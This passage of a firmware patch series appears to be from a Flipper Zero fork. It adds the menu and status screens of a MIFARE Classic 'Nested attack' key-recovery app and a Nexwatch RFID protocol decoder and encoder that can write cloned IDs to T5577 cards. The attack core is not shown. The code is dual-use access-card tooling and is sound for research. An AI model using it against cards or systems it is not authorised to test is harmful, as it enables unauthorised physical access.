b/applications/external/mifare_nested/scenes/mifare_nested_scene_config.h @@ -0,0 +1,13 @@ +ADD_SCENE(mifare_nested, start, Start) +ADD_SCENE(mifare_nested, check, Check) +ADD_SCENE(mifare_nested, nonces_collected, NoncesCollected) +ADD_SCENE(mifare_nested, collecting, Collecting) +ADD_SCENE(mifare_nested, no_keys, NoKeys) +ADD_SCENE(mifare_nested, check_keys, CheckKeys) +ADD_SCENE(mifare_nested, added_keys, AddedKeys) +ADD_SCENE(mifare_nested, failed, Failed) +ADD_SCENE(mifare_nested, about, About) +ADD_SCENE(mifare_nested, static_encrypted_nonce, StaticEncryptedNonce) +ADD_SCENE(mifare_nested, need_key_recovery, NeedKeyRecovery) +ADD_SCENE(mifare_nested, need_collection, NeedCollection) +ADD_SCENE(mifare_nested, settings, Settings) \ No newline at end of file diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_failed.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_failed.c new file mode 100644 index 000000000..e7d1ee80d --- /dev/null +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_failed.c @@ -0,0 +1,59 @@ +#include "../mifare_nested_i.h" + +void mifare_nested_scene_failed_widget_callback( + GuiButtonType result, + InputType type, + void* context) { + MifareNested* mifare_nested = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); + } +} + +void mifare_nested_scene_failed_on_enter(void* context) { + MifareNested* mifare_nested = context; + Widget* widget = mifare_nested->widget; + + notification_message(mifare_nested->notifications, &sequence_error); + + widget_add_icon_element(widget, 73, 13, &I_DolphinCry); + widget_add_string_element( + widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Failed to preform attack"); + widget_add_string_element(widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "Try running"); + widget_add_string_element( + widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "\"Nested attack\""); + widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "again or check"); + widget_add_string_element(widget, 0, 42, AlignLeft, AlignTop, FontSecondary, "logs"); + widget_add_button_element( + widget, + GuiButtonTypeLeft, + "Back", + mifare_nested_scene_failed_widget_callback, + mifare_nested); + + // Setup and start worker + view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); +} + +bool mifare_nested_scene_failed_on_event(void* context, SceneManagerEvent event) { + MifareNested* mifare_nested = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } + } else if(event.type == SceneManagerEventTypeBack) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } + + return consumed; +} + +void mifare_nested_scene_failed_on_exit(void* context) { + MifareNested* mifare_nested = context; + + widget_reset(mifare_nested->widget); +} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_need_collection.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_need_collection.c new file mode 100644 index 000000000..ee6e76b40 --- /dev/null +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_need_collection.c @@ -0,0 +1,56 @@ +#include "../mifare_nested_i.h" + +void mifare_nested_scene_need_collection_widget_callback( + GuiButtonType result, + InputType type, + void* context) { + MifareNested* mifare_nested = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); + } +} + +void mifare_nested_scene_need_collection_on_enter(void* context) { + MifareNested* mifare_nested = context; + Widget* widget = mifare_nested->widget; + + notification_message(mifare_nested->notifications, &sequence_error); + + widget_add_icon_element(widget, 73, 13, &I_DolphinCry); + widget_add_string_element( + widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Missing collected nonces"); + widget_add_string_element( + widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "Run \"Nested attack\""); + widget_add_button_element( + widget, + GuiButtonTypeLeft, + "Back", + mifare_nested_scene_need_collection_widget_callback, + mifare_nested); + + // Setup and start worker + view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); +} + +bool mifare_nested_scene_need_collection_on_event(void* context, SceneManagerEvent event) { + MifareNested* mifare_nested = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } + } else if(event.type == SceneManagerEventTypeBack) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } + + return consumed; +} + +void mifare_nested_scene_need_collection_on_exit(void* context) { + MifareNested* mifare_nested = context; + + widget_reset(mifare_nested->widget); +} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_need_key_recovery.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_need_key_recovery.c new file mode 100644 index 000000000..e34b68137 --- /dev/null +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_need_key_recovery.c @@ -0,0 +1,59 @@ +#include "../mifare_nested_i.h" + +void mifare_nested_scene_need_key_recovery_widget_callback( + GuiButtonType result, + InputType type, + void* context) { + MifareNested* mifare_nested = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); + } +} + +void mifare_nested_scene_need_key_recovery_on_enter(void* context) { + MifareNested* mifare_nested = context; + Widget* widget = mifare_nested->widget; + + notification_message(mifare_nested->notifications, &sequence_error); + + widget_add_icon_element(widget, 74, 13, &I_DolphinCry); + widget_add_string_element( + widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Missing found keys"); + widget_add_string_element( + widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "First you need to"); + widget_add_string_element(widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "recover keys"); + widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "Read \"About\""); + widget_add_string_element(widget, 0, 42, AlignLeft, AlignTop, FontSecondary, "for more info"); + widget_add_button_element( + widget, + GuiButtonTypeLeft, + "Back", + mifare_nested_scene_need_key_recovery_widget_callback, + mifare_nested); + + // Setup and start worker + view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); +} + +bool mifare_nested_scene_need_key_recovery_on_event(void* context, SceneManagerEvent event) { + MifareNested* mifare_nested = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } + } else if(event.type == SceneManagerEventTypeBack) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } + + return consumed; +} + +void mifare_nested_scene_need_key_recovery_on_exit(void* context) { + MifareNested* mifare_nested = context; + + widget_reset(mifare_nested->widget); +} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_no_keys.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_no_keys.c new file mode 100644 index 000000000..138cbdbc8 --- /dev/null +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_no_keys.c @@ -0,0 +1,61 @@ +#include "../mifare_nested_i.h" + +void mifare_nested_scene_no_keys_widget_callback( + GuiButtonType result, + InputType type, + void* context) { + MifareNested* mifare_nested = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); + } +} + +void mifare_nested_scene_no_keys_on_enter(void* context) { + MifareNested* mifare_nested = context; + Widget* widget = mifare_nested->widget; + + notification_message(mifare_nested->notifications, &sequence_success); + + widget_add_icon_element(widget, 73, 13, &I_DolphinCry); + widget_add_string_element(widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "No keys found"); + widget_add_string_element( + widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "Scan tag and find at"); + widget_add_string_element( + widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "least one key to"); + widget_add_string_element( + widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "start (save dump"); + widget_add_string_element( + widget, 0, 42, AlignLeft, AlignTop, FontSecondary, "after scanning!)"); + widget_add_button_element( + widget, + GuiButtonTypeLeft, + "Back", + mifare_nested_scene_no_keys_widget_callback, + mifare_nested); + + // Setup and start worker + view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); +} + +bool mifare_nested_scene_no_keys_on_event(void* context, SceneManagerEvent event) { + MifareNested* mifare_nested = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } + } else if(event.type == SceneManagerEventTypeBack) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } + + return consumed; +} + +void mifare_nested_scene_no_keys_on_exit(void* context) { + MifareNested* mifare_nested = context; + + widget_reset(mifare_nested->widget); +} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_nonces_collected.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_nonces_collected.c new file mode 100644 index 000000000..cc543645f --- /dev/null +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_nonces_collected.c @@ -0,0 +1,58 @@ +#include "../mifare_nested_i.h" + +void mifare_nested_scene_nonces_collected_widget_callback( + GuiButtonType result, + InputType type, + void* context) { + MifareNested* mifare_nested = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); + } +} + +void mifare_nested_scene_nonces_collected_on_enter(void* context) { + MifareNested* mifare_nested = context; + Widget* widget = mifare_nested->widget; + + notification_message(mifare_nested->notifications, &sequence_success); + + widget_add_icon_element(widget, 52, 17, &I_DolphinSuccess); + widget_add_string_element(widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Nonces collected"); + widget_add_string_element( + widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "Now you can run"); + widget_add_string_element(widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "script on your"); + widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "PC to recover"); + widget_add_string_element(widget, 0, 42, AlignLeft, AlignTop, FontSecondary, "keys"); + widget_add_button_element( + widget, + GuiButtonTypeLeft, + "Back", + mifare_nested_scene_nonces_collected_widget_callback, + mifare_nested); + + // Setup and start worker + view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); +} + +bool mifare_nested_scene_nonces_collected_on_event(void* context, SceneManagerEvent event) { + MifareNested* mifare_nested = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } + } else if(event.type == SceneManagerEventTypeBack) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } + + return consumed; +} + +void mifare_nested_scene_nonces_collected_on_exit(void* context) { + MifareNested* mifare_nested = context; + + widget_reset(mifare_nested->widget); +} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_settings.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_settings.c new file mode 100644 index 000000000..09d77f94b --- /dev/null +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_settings.c @@ -0,0 +1,65 @@ +#include "../mifare_nested_i.h" +#include + +enum MifareNestedSettingsIndex { MifareNestedIndexBlock, MifareNestedIndexHardNested }; + +#define HARD_NESTED_COUNT 2 +const char* const hard_nested_text[HARD_NESTED_COUNT] = { + "No", + "Yes", +}; + +const bool hard_nested_value[HARD_NESTED_COUNT] = { + false, + true, +}; + +static void mifare_nested_scene_settings_set_hard_nested(VariableItem* item) { + MifareNested* mifare_nested = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + + variable_item_set_current_value_text(item, hard_nested_text[index]); + mifare_nested->settings->only_hardnested = hard_nested_value[index]; +} + +void mifare_nested_scene_settings_on_enter(void* context) { + MifareNested* mifare_nested = context; + VariableItem* item; + uint8_t value_index; + + item = variable_item_list_add( + mifare_nested->variable_item_list, + "Hard Nested only:", + HARD_NESTED_COUNT, + mifare_nested_scene_settings_set_hard_nested, + mifare_nested); + + value_index = value_index_bool( + mifare_nested->settings->only_hardnested, hard_nested_value, HARD_NESTED_COUNT); + + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, hard_nested_text[value_index]); + + view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewVariableList); +} + +bool mifare_nested_scene_settings_on_event(void* context, SceneManagerEvent event) { + MifareNested* mifare_nested = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == MifareNestedCustomEventSceneSettingLock) { + scene_manager_previous_scene(mifare_nested->scene_manager); + consumed = true; + } + } + + return consumed; +} + +void mifare_nested_scene_settings_on_exit(void* context) { + MifareNested* mifare_nested = context; + variable_item_list_set_selected_item(mifare_nested->variable_item_list, 0); + variable_item_list_reset(mifare_nested->variable_item_list); + scene_manager_set_scene_state(mifare_nested->scene_manager, MifareNestedSceneStart, 0); +} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_start.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_start.c new file mode 100644 index 000000000..e8ff25c67 --- /dev/null +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_start.c @@ -0,0 +1,84 @@ +#include "../mifare_nested_i.h" +enum SubmenuIndex { + SubmenuIndexCollect, + SubmenuIndexCheck, + SubmenuIndexSettings, + SubmenuIndexAbout +}; + +void mifare_nested_scene_start_submenu_callback(void* context, uint32_t index) { + MifareNested* mifare_nested = context; + view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, index); +} + +void mifare_nested_scene_start_on_enter(void* context) { + MifareNested* mifare_nested = context; + + Submenu* submenu = mifare_nested->submenu; + submenu_add_item( + submenu, + "Nested attack", + SubmenuIndexCollect, + mifare_nested_scene_start_submenu_callback, + mifare_nested); + + submenu_add_item( + submenu, + "Check found keys", + SubmenuIndexCheck, + mifare_nested_scene_start_submenu_callback, + mifare_nested); + + submenu_add_item( + submenu, + "Settings", + SubmenuIndexSettings, + mifare_nested_scene_start_submenu_callback, + mifare_nested); + + submenu_add_item( + submenu, + "About", + SubmenuIndexAbout, + mifare_nested_scene_start_submenu_callback, + mifare_nested); + + submenu_set_selected_item( + submenu, + scene_manager_get_scene_state(mifare_nested->scene_manager, MifareNestedSceneStart)); + view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewMenu); +} + +bool mifare_nested_scene_start_on_event(void* context, SceneManagerEvent event) { + MifareNested* mifare_nested = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubmenuIndexCollect) { + mifare_nested->run = NestedRunAttack; + scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneCheck); + consumed = true; + } else if(event.event == SubmenuIndexCheck) { + mifare_nested->run = NestedRunCheckKeys; + scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneCheck); + consumed = true; + } else if(event.event == SubmenuIndexSettings) { + mifare_nested->keys->found_keys = 123; + scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneSettings); + consumed = true; + } else if(event.event == SubmenuIndexAbout) { + scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneAbout); + consumed = true; + } + + scene_manager_set_scene_state( + mifare_nested->scene_manager, MifareNestedSceneStart, event.event); + } + + return consumed; +} + +void mifare_nested_scene_start_on_exit(void* context) { + MifareNested* mifare_nested = context; + submenu_reset(mifare_nested->submenu); +} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_static_encrypted_nonce.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_static_encrypted_nonce.c new file mode 100644 index 000000000..92cefa72c --- /dev/null +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_static_encrypted_nonce.c @@ -0,0 +1,58 @@ +#include "../mifare_nested_i.h" + +void mifare_nested_scene_static_encrypted_nonce_widget_callback( + GuiButtonType result, + InputType type, + void* context) { + MifareNested* mifare_nested = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); + } +} + +void mifare_nested_scene_static_encrypted_nonce_on_enter(void* context) { + MifareNested* mifare_nested = context; + Widget* widget = mifare_nested->widget; + + notification_message(mifare_nested->notifications, &sequence_error); + + widget_add_icon_element(widget, 73, 12, &I_DolphinCry); + widget_add_string_element( + widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Static encrypted nonce"); + widget_add_string_element(widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "This tag isn't"); + widget_add_string_element(widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "vulnerable to"); + widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "Nested attack"); + + widget_add_button_element( + widget, + GuiButtonTypeLeft, + "Back", + mifare_nested_scene_static_encrypted_nonce_widget_callback, + mifare_nested); + + // Setup and start worker + view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); +} + +bool mifare_nested_scene_static_encrypted_nonce_on_event(void* context, SceneManagerEvent event) { + MifareNested* mifare_nested = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } + } else if(event.type == SceneManagerEventTypeBack) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } + + return consumed; +} + +void mifare_nested_scene_static_encrypted_nonce_on_exit(void* context) { + MifareNested* mifare_nested = context; + + widget_reset(mifare_nested->widget); +} From c8d396f94bff89309ad71e4cb9ae8decbf0885e9 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sun, 28 May 2023 02:49:29 +0300 Subject: [PATCH 069/100] OFW PR 2680: RFID Add support for Nexkey/Nexwatch by mauimauer --- lib/lfrfid/protocols/lfrfid_protocols.c | 4 +- lib/lfrfid/protocols/lfrfid_protocols.h | 3 +- lib/lfrfid/protocols/protocol_nexwatch.c | 323 +++++++++++++++++++++++ lib/lfrfid/protocols/protocol_nexwatch.h | 4 + 4 files changed, 332 insertions(+), 2 deletions(-) create mode 100644 lib/lfrfid/protocols/protocol_nexwatch.c create mode 100644 lib/lfrfid/protocols/protocol_nexwatch.h diff --git a/lib/lfrfid/protocols/lfrfid_protocols.c b/lib/lfrfid/protocols/lfrfid_protocols.c index 2c1f0ad97..f07218d7f 100644 --- a/lib/lfrfid/protocols/lfrfid_protocols.c +++ b/lib/lfrfid/protocols/lfrfid_protocols.c @@ -16,6 +16,7 @@ #include "protocol_pac_stanley.h" #include "protocol_keri.h" #include "protocol_gallagher.h" +#include "protocol_nexwatch.h" const ProtocolBase* lfrfid_protocols[] = { [LFRFIDProtocolEM4100] = &protocol_em4100, @@ -35,4 +36,5 @@ const ProtocolBase* lfrfid_protocols[] = { [LFRFIDProtocolPACStanley] = &protocol_pac_stanley, [LFRFIDProtocolKeri] = &protocol_keri, [LFRFIDProtocolGallagher] = &protocol_gallagher, -}; \ No newline at end of file + [LFRFIDProtocolNexwatch] = &protocol_nexwatch, +}; diff --git a/lib/lfrfid/protocols/lfrfid_protocols.h b/lib/lfrfid/protocols/lfrfid_protocols.h index 848f003a3..0cb7cbc84 100644 --- a/lib/lfrfid/protocols/lfrfid_protocols.h +++ b/lib/lfrfid/protocols/lfrfid_protocols.h @@ -25,6 +25,7 @@ typedef enum { LFRFIDProtocolPACStanley, LFRFIDProtocolKeri, LFRFIDProtocolGallagher, + LFRFIDProtocolNexwatch, LFRFIDProtocolMax, } LFRFIDProtocol; @@ -39,4 +40,4 @@ typedef struct { union { LFRFIDT5577 t5577; }; -} LFRFIDWriteRequest; \ No newline at end of file +} LFRFIDWriteRequest; diff --git a/lib/lfrfid/protocols/protocol_nexwatch.c b/lib/lfrfid/protocols/protocol_nexwatch.c new file mode 100644 index 000000000..3bbbb42f5 --- /dev/null +++ b/lib/lfrfid/protocols/protocol_nexwatch.c @@ -0,0 +1,323 @@ +#include +#include +#include +#include "lfrfid_protocols.h" + +#define NEXWATCH_PREAMBLE_BIT_SIZE (8) +#define NEXWATCH_PREAMBLE_DATA_SIZE (1) + +#define NEXWATCH_ENCODED_BIT_SIZE (96) +#define NEXWATCH_ENCODED_DATA_SIZE ((NEXWATCH_ENCODED_BIT_SIZE) / 8) + +#define NEXWATCH_DECODED_BIT_SIZE (NEXWATCH_DECODED_DATA_SIZE * 8) +#define NEXWATCH_DECODED_DATA_SIZE (8) + +#define NEXWATCH_US_PER_BIT (255) +#define NEXWATCH_ENCODER_PULSES_PER_BIT (16) + +typedef struct { + uint8_t magic; + char desc[13]; + uint8_t chk; +} ProtocolNexwatchMagic; + +ProtocolNexwatchMagic magic_items[] = { + {0xBE, "Quadrakey", 0}, + {0x88, "Nexkey", 0}, + {0x86, "Honeywell", 0}}; + +typedef struct { + uint8_t data_index; + uint8_t bit_clock_index; + bool last_bit; + bool current_polarity; + bool pulse_phase; +} ProtocolNexwatchEncoder; + +typedef struct { + uint8_t encoded_data[NEXWATCH_ENCODED_DATA_SIZE]; + uint8_t negative_encoded_data[NEXWATCH_ENCODED_DATA_SIZE]; + uint8_t corrupted_encoded_data[NEXWATCH_ENCODED_DATA_SIZE]; + uint8_t corrupted_negative_encoded_data[NEXWATCH_ENCODED_DATA_SIZE]; + + uint8_t data[NEXWATCH_DECODED_DATA_SIZE]; + ProtocolNexwatchEncoder encoder; +} ProtocolNexwatch; + +ProtocolNexwatch* protocol_nexwatch_alloc(void) { + ProtocolNexwatch* protocol = malloc(sizeof(ProtocolNexwatch)); + return protocol; +}; + +void protocol_nexwatch_free(ProtocolNexwatch* protocol) { + free(protocol); +}; + +uint8_t* protocol_nexwatch_get_data(ProtocolNexwatch* protocol) { + return protocol->data; +}; + +void protocol_nexwatch_decoder_start(ProtocolNexwatch* protocol) { + memset(protocol->encoded_data, 0, NEXWATCH_ENCODED_DATA_SIZE); + memset(protocol->negative_encoded_data, 0, NEXWATCH_ENCODED_DATA_SIZE); + memset(protocol->corrupted_encoded_data, 0, NEXWATCH_ENCODED_DATA_SIZE); + memset(protocol->corrupted_negative_encoded_data, 0, NEXWATCH_ENCODED_DATA_SIZE); +}; + +static bool protocol_nexwatch_check_preamble(uint8_t* data, size_t bit_index) { + // 01010110 + if(bit_lib_get_bits(data, bit_index, 8) != 0b01010110) return false; + return true; +} + +static uint8_t protocol_nexwatch_parity_swap(uint8_t parity) { + uint8_t a = (((parity >> 3) & 1)); + a |= (((parity >> 1) & 1) << 1); + a |= (((parity >> 2) & 1) << 2); + a |= ((parity & 1) << 3); + return a; +} + +static uint8_t protocol_nexwatch_parity(const uint8_t hexid[5]) { + uint8_t p = 0; + for(uint8_t i = 0; i < 5; i++) { + p ^= ((hexid[i]) & 0xF0) >> 4; + p ^= ((hexid[i]) & 0x0F); + } + return protocol_nexwatch_parity_swap(p); +} + +static uint8_t protocol_nexwatch_checksum(uint8_t magic, uint32_t id, uint8_t parity) { + uint8_t a = ((id >> 24) & 0xFF); + a -= ((id >> 16) & 0xFF); + a -= ((id >> 8) & 0xFF); + a -= (id & 0xFF); + a -= magic; + a -= (bit_lib_reverse_8_fast(parity) >> 4); + return bit_lib_reverse_8_fast(a); +} + +static bool protocol_nexwatch_can_be_decoded(uint8_t* data) { + if(!protocol_nexwatch_check_preamble(data, 0)) return false; + + // Check for reserved word (32-bit) + if(bit_lib_get_bits_32(data, 8, 32) != 0) { + return false; + } + + uint8_t parity = bit_lib_get_bits(data, 76, 4); + + // parity check + // from 32b hex id, 4b mode + uint8_t hex[5] = {0}; + for(uint8_t i = 0; i < 5; i++) { + hex[i] = bit_lib_get_bits(data, 40 + (i * 8), 8); + } + //mode is only 4 bits. + hex[4] &= 0xf0; + uint8_t calc_parity = protocol_nexwatch_parity(hex); + + if(calc_parity != parity) { + return false; + } + + return true; +} + +static bool protocol_nexwatch_decoder_feed_internal(bool polarity, uint32_t time, uint8_t* data) { + time += (NEXWATCH_US_PER_BIT / 2); + + size_t bit_count = (time / NEXWATCH_US_PER_BIT); + bool result = false; + + if(bit_count < NEXWATCH_ENCODED_BIT_SIZE) { + for(size_t i = 0; i < bit_count; i++) { + bit_lib_push_bit(data, NEXWATCH_ENCODED_DATA_SIZE, polarity); + if(protocol_nexwatch_can_be_decoded(data)) { + result = true; + break; + } + } + } + + return result; +} + +static void protocol_nexwatch_descramble(uint32_t* id, uint32_t* scrambled) { + // 255 = Not used/Unknown other values are the bit offset in the ID/FC values + const uint8_t hex_2_id[] = {31, 27, 23, 19, 15, 11, 7, 3, 30, 26, 22, 18, 14, 10, 6, 2, + 29, 25, 21, 17, 13, 9, 5, 1, 28, 24, 20, 16, 12, 8, 4, 0}; + + *id = 0; + for(uint8_t idx = 0; idx < 32; idx++) { + bool bit_state = (*scrambled >> hex_2_id[idx]) & 1; + *id |= (bit_state << (31 - idx)); + } +} + +static void protocol_nexwatch_decoder_save(uint8_t* data_to, const uint8_t* data_from) { + uint32_t id = bit_lib_get_bits_32(data_from, 40, 32); + data_to[4] = (uint8_t)id; + data_to[3] = (uint8_t)(id >>= 8); + data_to[2] = (uint8_t)(id >>= 8); + data_to[1] = (uint8_t)(id >>= 8); + data_to[0] = (uint8_t)(id >>= 8); + uint32_t check = bit_lib_get_bits_32(data_from, 72, 24); + data_to[7] = (uint8_t)check; + data_to[6] = (uint8_t)(check >>= 8); + data_to[5] = (uint8_t)(check >>= 8); +} + +bool protocol_nexwatch_decoder_feed(ProtocolNexwatch* protocol, bool level, uint32_t duration) { + bool result = false; + + if(duration > (NEXWATCH_US_PER_BIT / 2)) { + if(protocol_nexwatch_decoder_feed_internal(level, duration, protocol->encoded_data)) { + protocol_nexwatch_decoder_save(protocol->data, protocol->encoded_data); + result = true; + return result; + } + + if(protocol_nexwatch_decoder_feed_internal( + !level, duration, protocol->negative_encoded_data)) { + protocol_nexwatch_decoder_save(protocol->data, protocol->negative_encoded_data); + result = true; + return result; + } + } + + if(duration > (NEXWATCH_US_PER_BIT / 4)) { + // Try to decode wrong phase synced data + if(level) { + duration += 120; + } else { + if(duration > 120) { + duration -= 120; + } + } + + if(protocol_nexwatch_decoder_feed_internal( + level, duration, protocol->corrupted_encoded_data)) { + protocol_nexwatch_decoder_save(protocol->data, protocol->corrupted_encoded_data); + + result = true; + return result; + } + + if(protocol_nexwatch_decoder_feed_internal( + !level, duration, protocol->corrupted_negative_encoded_data)) { + protocol_nexwatch_decoder_save( + protocol->data, protocol->corrupted_negative_encoded_data); + + result = true; + return result; + } + } + + return result; +}; + +bool protocol_nexwatch_encoder_start(ProtocolNexwatch* protocol) { + memset(protocol->encoded_data, 0, NEXWATCH_ENCODED_DATA_SIZE); + *(uint32_t*)&protocol->encoded_data[0] = 0b00000000000000000000000001010110; + bit_lib_copy_bits(protocol->encoded_data, 32, 32, protocol->data, 0); + bit_lib_copy_bits(protocol->encoded_data, 64, 32, protocol->data, 32); + + protocol->encoder.last_bit = + bit_lib_get_bit(protocol->encoded_data, NEXWATCH_ENCODED_BIT_SIZE - 1); + protocol->encoder.data_index = 0; + protocol->encoder.current_polarity = true; + protocol->encoder.pulse_phase = true; + protocol->encoder.bit_clock_index = 0; + + return true; +}; + +LevelDuration protocol_nexwatch_encoder_yield(ProtocolNexwatch* protocol) { + LevelDuration level_duration; + ProtocolNexwatchEncoder* encoder = &protocol->encoder; + + if(encoder->pulse_phase) { + level_duration = level_duration_make(encoder->current_polarity, 1); + encoder->pulse_phase = false; + } else { + level_duration = level_duration_make(!encoder->current_polarity, 1); + encoder->pulse_phase = true; + + encoder->bit_clock_index++; + if(encoder->bit_clock_index >= NEXWATCH_ENCODER_PULSES_PER_BIT) { + encoder->bit_clock_index = 0; + + bool current_bit = bit_lib_get_bit(protocol->encoded_data, encoder->data_index); + + if(current_bit != encoder->last_bit) { + encoder->current_polarity = !encoder->current_polarity; + } + + encoder->last_bit = current_bit; + + bit_lib_increment_index(encoder->data_index, NEXWATCH_ENCODED_BIT_SIZE); + } + } + + return level_duration; +}; + +void protocol_nexwatch_render_data(ProtocolNexwatch* protocol, FuriString* result) { + uint32_t id = 0; + uint32_t scrambled = bit_lib_get_bits_32(protocol->data, 8, 32); + protocol_nexwatch_descramble(&id, &scrambled); + + uint8_t m_idx; + uint8_t mode = bit_lib_get_bits(protocol->data, 40, 4); + uint8_t parity = bit_lib_get_bits(protocol->data, 44, 4); + uint8_t chk = bit_lib_get_bits(protocol->data, 48, 8); + for(m_idx = 0; m_idx < 3; m_idx++) { + magic_items[m_idx].chk = protocol_nexwatch_checksum(magic_items[m_idx].magic, id, parity); + if(magic_items[m_idx].chk == chk) { + break; + } + } + furi_string_printf(result, "ID: %lu, M:%u\r\nType: %s\r\n", id, mode, magic_items[m_idx].desc); +} + +bool protocol_nexwatch_write_data(ProtocolNexwatch* protocol, void* data) { + LFRFIDWriteRequest* request = (LFRFIDWriteRequest*)data; + bool result = false; + + protocol_nexwatch_encoder_start(protocol); + if(request->write_type == LFRFIDWriteTypeT5577) { + request->t5577.block[0] = LFRFID_T5577_MODULATION_PSK1 | LFRFID_T5577_BITRATE_RF_32 | + (3 << LFRFID_T5577_MAXBLOCK_SHIFT); + request->t5577.block[1] = bit_lib_get_bits_32(protocol->encoded_data, 0, 32); + request->t5577.block[2] = 